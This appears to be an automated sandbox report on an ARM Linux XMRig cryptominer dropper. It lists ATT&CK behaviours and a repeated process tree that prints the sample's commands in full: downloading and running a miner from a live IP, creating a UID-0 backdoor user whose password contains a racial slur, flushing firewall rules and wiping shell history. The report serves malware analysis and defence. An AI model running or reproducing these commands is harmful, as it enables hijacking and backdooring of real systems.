xmrig | 13f166bc0c57ed6f23acf5613c8366e0d4cfab1ca97b2689a841d48b9f237a14

Analysis

max time kernel
148s
max time network
150s
platform
debian-12_armhf
resource
debian12-armhf-20251211-en
resource tags

arch:armhfimage:debian12-armhf-20251211-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
submitted
13/12/2025, 02:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ionetworks.arm6.elf
Size 135KB
Sample251213-c2964abr21
SHA256 13f166bc0c57ed6f23acf5613c8366e0d4cfab1ca97b2689a841d48b9f237a14
MD5 fb765baa0546207256251312de8ed2eb
SHA1 a94a9e0e90b7fdc248400367d8d7abefdcd866ac
SHA512 f15043c844434658341835978ac8ad59821686f89979d4c33d9acdb72849bdc419c9f403754328300a3ede84882ef31d0b90c59e33a6d4414e1925b22130e6c6
SSDEEP 3072:A5upxw7bIfTzhm32x8E9laJE2thjq3BHoFdGP5hMH2A0DXfgwjWlmyhQaS+pg7J:ACeE9laJE2PNGP5hMH2EwqlmyhQaSGgl
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

antivm credential_access defense_evasion discovery xmrig miner persistence

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/fstream-2.dat	family_xmrig
behavioral1/files/fstream-2.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies password files for system users/ groups 1 TTPs 4 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd

File and Directory Permissions Modification 1 TTPs 32 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1178	chmod
864	chmod
914	chmod
934	sh
986	chmod
890	chmod
962	chmod
1010	chmod
1082	chmod
1154	chmod
884	sh
1102	sh
1174	sh
1150	sh
1078	sh
1126	sh
836	sh
860	sh
1006	sh
1034	chmod
797	sh
958	sh
982	sh
1030	sh
1054	sh
1058	chmod
938	chmod
840	chmod
910	sh
1130	chmod
810	chmod
1106	chmod

Indicator Removal: Clear Command History 1 TTPs 15 IoCs

Adversaries may remove indicators of compromise from the host to evade detection.

defense_evasion

Clear Command History

T1070.003

pid	Process
858	rm
932	rm
1076	rm
1148	rm
908	rm
956	rm
980	rm
1124	rm
834	rm
1004	rm
1028	rm
882	rm
1052	rm
1100	rm
1172	rm

Deletes itself 1 IoCs

pid	Process
784	ionetworks.arm6.elf

Executes dropped EXE 16 IoCs

ioc	pid	Process
/xmrigDaemon	811	sh
/xmrigDaemon	841	sh
/xmrigDaemon	865	sh
/xmrigDaemon	891	sh
/xmrigDaemon	915	sh
/xmrigDaemon	939	sh
/xmrigDaemon	963	sh
/xmrigDaemon	987	sh
/xmrigDaemon	1011	sh
/xmrigDaemon	1035	sh
/xmrigDaemon	1059	sh
/xmrigDaemon	1083	sh
/xmrigDaemon	1107	sh
/xmrigDaemon	1131	sh
/xmrigDaemon	1155	sh
/xmrigDaemon	1179	sh

Flushes firewall rules 1 TTPs 64 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
898	iptables
946	iptables
997	systemctl
1141	systemctl
1165	systemctl
827	systemctl
827	systemctl
875	systemctl
899	iptables
901	systemctl
971	iptables
997	systemctl
1067	iptables
879	systemctl
901	systemctl
925	systemctl
949	systemctl
1021	systemctl
1069	systemctl
1091	iptables
1121	systemctl
922	iptables
970	iptables
1043	iptables
1069	systemctl
1145	systemctl
1141	systemctl
872	iptables
851	systemctl
973	systemctl
1019	iptables
1045	systemctl
1090	iptables
1162	iptables
1165	systemctl
849	iptables
949	systemctl
1025	systemctl
1093	systemctl
1117	systemctl
1165	systemctl
1165	systemctl
848	iptables
851	systemctl
925	systemctl
995	iptables
1049	systemctl
1045	systemctl
1073	systemctl
1093	systemctl
997	systemctl
1045	systemctl
1138	iptables
1139	iptables
1193	systemctl
825	iptables
929	systemctl
925	systemctl
977	systemctl
973	systemctl
1021	systemctl
1069	systemctl
1117	systemctl
949	systemctl

OS Credential Dumping 1 TTPs 17 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd
File opened for reading	/etc/shadow	passwd

Writes DNS configuration 1 TTPs 1 IoCs

Writes data to DNS resolver config file.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/resolv.conf	ionetworks.arm6.elf

Adds a user to the system 16 IoCs

pid	Process
1110	useradd
1158	useradd
1182	useradd
868	useradd
894	useradd
1014	useradd
1038	useradd
1134	useradd
814	useradd
844	useradd
1062	useradd
918	useradd
942	useradd
966	useradd
990	useradd
1086	useradd

Reads system routing table 1 TTPs 1 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	ionetworks.arm6.elf

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	qil	784	ionetworks.arm6.elf

Checks CPU configuration 1 TTPs 48 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	ionetworks.arm6.elf

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/loginuid	passwd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	passwd
File opened for reading	/proc/self/loginuid	passwd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/sys/kernel/cap_last_cap	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	passwd
File opened for reading	/proc/sys/kernel/cap_last_cap	passwd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/loginuid	passwd
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/loginuid	passwd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/sys/kernel/cap_last_cap	useradd
File opened for reading	/proc/sys/kernel/cap_last_cap	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/sys/kernel/cap_last_cap	useradd
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/kernel/cap_last_cap	useradd
File opened for reading	/proc/self/loginuid	passwd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	passwd
File opened for reading	/proc/filesystems	passwd
File opened for reading	/proc/self/loginuid	passwd
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/sys/kernel/cap_last_cap	useradd
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/loginuid	passwd
File opened for reading	/proc/self/loginuid	passwd
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/kernel/cap_last_cap	passwd
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/sys/kernel/cap_last_cap	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/sys/kernel/cap_last_cap	passwd
File opened for reading	/proc/self/loginuid	passwd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/sys/kernel/cap_last_cap	passwd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/self/loginuid	passwd
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/kernel/cap_last_cap	useradd
File opened for reading	/proc/filesystems	passwd
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	passwd
File opened for reading	/proc/filesystems	systemctl

System Network Configuration Discovery 1 TTPs 16 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
823	sh
945	sh
1017	sh
1161	sh
871	sh
897	sh
921	sh
993	sh
1113	sh
1185	sh
847	sh
1041	sh
1065	sh
969	sh
1089	sh
1137	sh

/tmp/ionetworks.arm6.elf
/tmp/ionetworks.arm6.elf
1⤵
- Deletes itself
- Writes DNS configuration
- Reads system routing table
- Changes its process name
- Reads system network configuration
PID:784
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:797
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:799
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:808
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:809
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:810
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:811
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:813
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:814
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:815
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:816
  - - /usr/sbin/sss_cache
      sss_cache -UG
      4⤵
      PID:817
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:818
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:819
  - - /usr/sbin/sss_cache
      sss_cache -UG
      4⤵
      PID:820
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:822
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:823
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    PID:824
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:825
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:826
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:827
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:828
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:829
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:832
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:831
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:827
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:827
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:827
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:827
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:833
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:834
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:835
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:836
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:837
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:838
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:839
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:840
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:841
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:843
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:844
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:846
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:847
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:848
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:849
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:850
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:851
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:852
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:853
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      Reads runtime system information
      PID:856
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:855
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:851
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:851
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:851
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:851
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:857
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:858
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:859
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:860
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:861
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:862
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:863
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:864
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:865
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:867
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    PID:868
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:870
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:871
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:872
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    PID:873
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:874
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:875
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:876
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:877
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:880
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      Flushes firewall rules
      PID:879
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:875
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:875
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:875
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Reads runtime system information
    PID:875
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:881
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:882
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:883
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:884
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:885
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:888
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:889
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:890
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:891
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:893
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:894
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:896
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:897
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:898
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:899
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:900
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:901
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:902
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:903
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:906
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:905
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:901
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:901
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:901
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    - Reads runtime system information
    PID:901
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:907
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:908
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:909
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:910
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:911
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:912
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:913
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:914
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:915
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:917
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:918
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    PID:920
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:921
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:922
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    PID:923
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:924
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:925
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:926
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:927
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:930
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      Flushes firewall rules
      Reads runtime system information
      PID:929
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:925
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:925
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:925
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    - Reads runtime system information
    PID:925
- /bin/sh
  sh -c "rm -rf .bash_history"
  2⤵
  PID:931
- - /usr/bin/rm
    rm -rf .bash_history
    3⤵
    - Indicator Removal: Clear Command History
    PID:932
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:933
- /bin/sh
  sh -c "wget http://193.35.154.205/xmrigMiner; wget http://193.35.154.205/xmrigDaemon; wget http://193.35.154.205/config4.json; curl -O http://193.35.154.205/xmrigDaemon; curl -O http://193.35.154.205/xmrigMiner; curl -O http://193.35.154.205/config4.json; chmod 777 *; ./xmrigDaemon -c config4.json"
  2⤵
  - File and Directory Permissions Modification
  - Executes dropped EXE
  PID:934
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigDaemon
    3⤵
    - Checks CPU configuration
    PID:935
- - /usr/bin/curl
    curl -O http://193.35.154.205/xmrigMiner
    3⤵
    - Checks CPU configuration
    PID:936
- - /usr/bin/curl
    curl -O http://193.35.154.205/config4.json
    3⤵
    - Checks CPU configuration
    PID:937
- - /usr/bin/chmod
    chmod 777 bin boot config4.json dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var xmrigDaemon xmrigMiner
    3⤵
    - File and Directory Permissions Modification
    PID:938
- - /xmrigDaemon
    ./xmrigDaemon -c config4.json
    3⤵
    PID:939
- /bin/sh
  sh -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh; echo -e 'NIGGERBOX9 NIGGERBOX9' | passwd zshh"
  2⤵
  PID:941
- - /usr/sbin/useradd
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash zshh
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:942
- - /usr/bin/passwd
    passwd zshh
    3⤵
    - OS Credential Dumping
    - Reads runtime system information
    PID:944
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  - System Network Configuration Discovery
  PID:945
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:946
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    PID:947
- /bin/sh
  sh -c "service firewalld stop"
  2⤵
  PID:948
- - /usr/sbin/service
    service firewalld stop
    3⤵
    PID:949
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:950
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:951
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      Reads runtime system information
      PID:954
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:953
- - /usr/local/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:949
- - /usr/local/bin/systemctl
    systemctl stop firewalld.service
    3⤵
    - Flushes firewall rules
    PID:949
- - /usr/sbin/systemctl
    systemctl stop firewalld.service
    3⤵
    PID:949
- - /usr/bin/systemctl
    systemctl stop firewalld.service
    3⤵
